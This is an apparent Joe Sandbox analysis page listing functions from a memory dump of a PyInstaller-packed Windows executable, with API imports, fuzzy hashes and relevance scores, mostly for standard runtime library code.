PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF7E54A8629

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: 6472fed7a38855fe53d018715946baf175a16c93e2266fbaa2446d02f1e91665
Instruction ID: 730c86a080692468540c7887a9110858bcca9f4a59427f26d7f4176aa56f0006
Opcode Fuzzy Hash: 6472fed7a38855fe53d018715946baf175a16c93e2266fbaa2446d02f1e91665
Instruction Fuzzy Hash: A4216271A08A4A81F7A0BB11E864366A3A4FF8AB84FC40036D54DD36A5EF3CD1498722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54AC57C Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7E54AC598
RtlCaptureContext.KERNEL32 ref: 00007FF7E54AC5C5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7E54AC5DF
RtlVirtualUnwind.KERNEL32 ref: 00007FF7E54AC620
IsDebuggerPresent.KERNEL32 ref: 00007FF7E54AC674
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7E54AC695
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7E54AC6A0

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 2f0e84db8cb7341a902ef28a41a93ef6eb2637ed36960dc0fb1294147411c1b9
Instruction ID: 4712d5fe5572153a7a978d89a99e6ad495895685bc46597b9f7df7767ce40589
Opcode Fuzzy Hash: 2f0e84db8cb7341a902ef28a41a93ef6eb2637ed36960dc0fb1294147411c1b9
Instruction Fuzzy Hash: 6C318272608A8585EBA0AF60E8547ED7364FB85B44F80403ADB4D87A95EF38C24CC715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BABD8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7E54BAC51
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7E54BAC69
RtlVirtualUnwind.KERNEL32 ref: 00007FF7E54BACA4
IsDebuggerPresent.KERNEL32 ref: 00007FF7E54BACDD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7E54BACE7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7E54BACF2

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 4ac1c30ff9e2098ff7eaac683efdfbba3e64979dbffe5e0d25534f02cf004e64
Instruction ID: ba0976643d142b972569a13a0823b8f820da492174203ba0435862460a6c3859
Opcode Fuzzy Hash: 4ac1c30ff9e2098ff7eaac683efdfbba3e64979dbffe5e0d25534f02cf004e64
Instruction Fuzzy Hash: 5431A632608B8586EB60DF25E8543ADB3B4FB85B94F900136EA8D83B55DF3CC149CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C1EE4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C1F30
FindFirstFileExW.KERNEL32 ref: 00007FF7E54C203A

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: e601e72e586d0b4de4a5ebf73eb2eb015632a136167348e3e84c4a74a70f75b2
Instruction ID: f05fbc7b3d2789b80b4ffdfd6330330bd02b4763c3f844e4f7c0f078d61e4d07
Opcode Fuzzy Hash: e601e72e586d0b4de4a5ebf73eb2eb015632a136167348e3e84c4a74a70f75b2
Instruction Fuzzy Hash: A7B1C861B1C69A41FA60AB6294243BDE350EBC6FD4F845133DA8E87785DF7CE449C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54AC460 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7E54AC48C
GetCurrentThreadId.KERNEL32 ref: 00007FF7E54AC49A
GetCurrentProcessId.KERNEL32 ref: 00007FF7E54AC4A6
QueryPerformanceCounter.KERNEL32 ref: 00007FF7E54AC4B6

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: d807bcf8cbcf5afbec6ed78c6a62c7f595d782d60191141b96be5bff8736c763
Instruction ID: 36b7d6034c4a2a98da6586202d778a4fd681ed430eda30d6bc8b1a09c033ea0f
Opcode Fuzzy Hash: d807bcf8cbcf5afbec6ed78c6a62c7f595d782d60191141b96be5bff8736c763
Instruction Fuzzy Hash: 34115126B14F098AFB40DF60E8543B973A4F759B58F840E32DA6D867A4DF78D1588390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C4280 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF7E54C42E6
memcpy_s.LIBCPMT ref: 00007FF7E54C4311

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 91c6dad42c4fe3f77411ff13cebd8ac67ba87dd2d59a919927db08de6fd274c4
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 07C10372B1928E87EB24DF59A15476AF7A1F7D5B85F808136DB4A83B44DB3CE805CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C9FF8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7E54CA247
RaiseException.KERNEL32 ref: 00007FF7E54CA258

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: b4cdb5d9b405a5f2b155a4653528c407a9956d0b6218a393af626003cf1b5a24
Instruction ID: 08bb7a671dc1b4711818708b248e8c56480849c4952ca42bd8bc60f40c938ae9
Opcode Fuzzy Hash: b4cdb5d9b405a5f2b155a4653528c407a9956d0b6218a393af626003cf1b5a24
Instruction Fuzzy Hash: F2B16B73604B888BEB19CF2AC8563687BE0F785F48F548922DB5E837A4CB3AD455C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A88D0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF7E54A8901
FindClose.KERNEL32 ref: 00007FF7E54A8910

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 61dd1ed1e1c953fe7bf24916078f2f4a3db137be7e9bcdd6edf362509e7e8552
Instruction ID: cfbdf64c643e3dc064ad671b99e6a684d349132a7a70afb67cbd0f85bd5c2acc
Opcode Fuzzy Hash: 61dd1ed1e1c953fe7bf24916078f2f4a3db137be7e9bcdd6edf362509e7e8552
Instruction Fuzzy Hash: FDF0A432A1C68986F7A09F64F46876AB390EB85B64F800336D66D466D4EF3CD00CCB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B3AE4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF7E54B3E94
, xrefs: 00007FF7E54B3C52

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 631a3e48eb673e1850d57232dc56befdf755ff5fd67b38a64b6ca9c49a913018
Instruction ID: 373d8c39303d368f392e87a27383ec8cf32897394aeef7a6ad292d85df5c4104
Opcode Fuzzy Hash: 631a3e48eb673e1850d57232dc56befdf755ff5fd67b38a64b6ca9c49a913018
Instruction Fuzzy Hash: 32E1A93290864D41EBA8AE96806423DB370FF46F44FA45237DA0E87795DF39E859C712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BE4B0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF7E54BE63A
e+000, xrefs: 00007FF7E54BE5BD

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: 95f5c728ca916dfdd01defb08dd518f9d9b28e517fc4b7b4370436378f7798ef
Instruction ID: efc0eaa4b7fd776c80739b96b70f0444a2504cc7d731f0f1bcc0771bb71ac8df
Opcode Fuzzy Hash: 95f5c728ca916dfdd01defb08dd518f9d9b28e517fc4b7b4370436378f7798ef
Instruction Fuzzy Hash: 5F51AE32B182C942E7A49E759924769F781E786F54FC88232CB5C87AC1DF3DD0188712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C0F38 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 4b7c577155937df3467bd9cdd4550942c9176b8fc8785c5dc3f7c97a7b0e1b3f
Instruction ID: c8a7a9d8b526de427bb52e52e4926946adea1fff6ba6da171037483bd276af0f
Opcode Fuzzy Hash: 4b7c577155937df3467bd9cdd4550942c9176b8fc8785c5dc3f7c97a7b0e1b3f
Instruction Fuzzy Hash: 5202B161E0964F40FA65BB629434379A6D0AF83F90FC45637DD6DCA7D2DE3CA4098322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BE01C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF7E54BE35E

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: da57d4f04fe3a59080078ae7a8b70c1646e0beb0550e210eb96496c016bfbe06
Instruction ID: cd257ceeab5f4f1fdf94f1a09259f2fa613bd6e8e0ecd5f45e0550310bac8b94
Opcode Fuzzy Hash: da57d4f04fe3a59080078ae7a8b70c1646e0beb0550e210eb96496c016bfbe06
Instruction Fuzzy Hash: 7FA17973A087C986EF65DB65A4207ADBB91AB92B80F448132DF8D87781DE3DD419C312

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B86D0 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF7E54B86EF

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: cf0abd2c7e4acdbc7dd987358b9028f2a59d8daca936b72b1b12d96a797a3aac
Instruction ID: 7ff70eb93d5165391d810b3391cd50f9b0ce29658509d7fa84b4965f6536610a
Opcode Fuzzy Hash: cf0abd2c7e4acdbc7dd987358b9028f2a59d8daca936b72b1b12d96a797a3aac
Instruction Fuzzy Hash: 09518325F0864A41FBA4BAA7593537AE3916F86FC4F884037DD0DD7795EE3CE40A4222

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C3AF0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7E54C3AF4

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 2a498131316ba0cf2da72d1126b97be92acaa4b08e35d008cc1bd8d186f782f7
Instruction ID: 2ae2bdbcfced556d3863083dacff692575ed0aef6fb815a877aa8933ad63583c
Opcode Fuzzy Hash: 2a498131316ba0cf2da72d1126b97be92acaa4b08e35d008cc1bd8d186f782f7
Instruction Fuzzy Hash: 3FB09220E0BA4AC6EB483B116C96714A2A87F89F00FE8403AC10CC1320DE3C20F94722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B36E0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 208e6a978d65b3df04c2d2163cfe11b9ca3e791e60348233d6b397c6ac133608
Instruction ID: 8751fb5894c616ff53ea5400b7dd025bf96b6bbc6ca0a6f6601bfc2cb8f706a8
Opcode Fuzzy Hash: 208e6a978d65b3df04c2d2163cfe11b9ca3e791e60348233d6b397c6ac133608
Instruction Fuzzy Hash: 05D1DA72D0864A46EBA8EA67846033DB7A0EF06F48F945236CE0D87695DF3DD44DC362

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A8FD0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926518188b614a96dab23eca74cd6fab0ac352dd7b9dabb22d14e7e66e5c8c54
Instruction ID: b1629c19dccf810c84770b761bb1f2bf4385ba6a932fd9d18dc020f6be15eae8
Opcode Fuzzy Hash: 926518188b614a96dab23eca74cd6fab0ac352dd7b9dabb22d14e7e66e5c8c54
Instruction Fuzzy Hash: CCC125322142F44BD698FB29E46947A73E1F7AA309BD5403BEB874B786C63CE404D760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B2D50 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b67fe5c4df14f10fbabbc179396d5558260dc0a4d214c0f6109c6307dd6f74d9
Instruction ID: 69185fc785cfc266624a77f331c66c6824b46e6f0fbe1650c970015834ba2588
Opcode Fuzzy Hash: b67fe5c4df14f10fbabbc179396d5558260dc0a4d214c0f6109c6307dd6f74d9
Instruction Fuzzy Hash: 11B1507290C64985EBA5DF7AC46033CBBA0EB46F48FA40136CA4D87399CF3AD445D722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BEB30 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
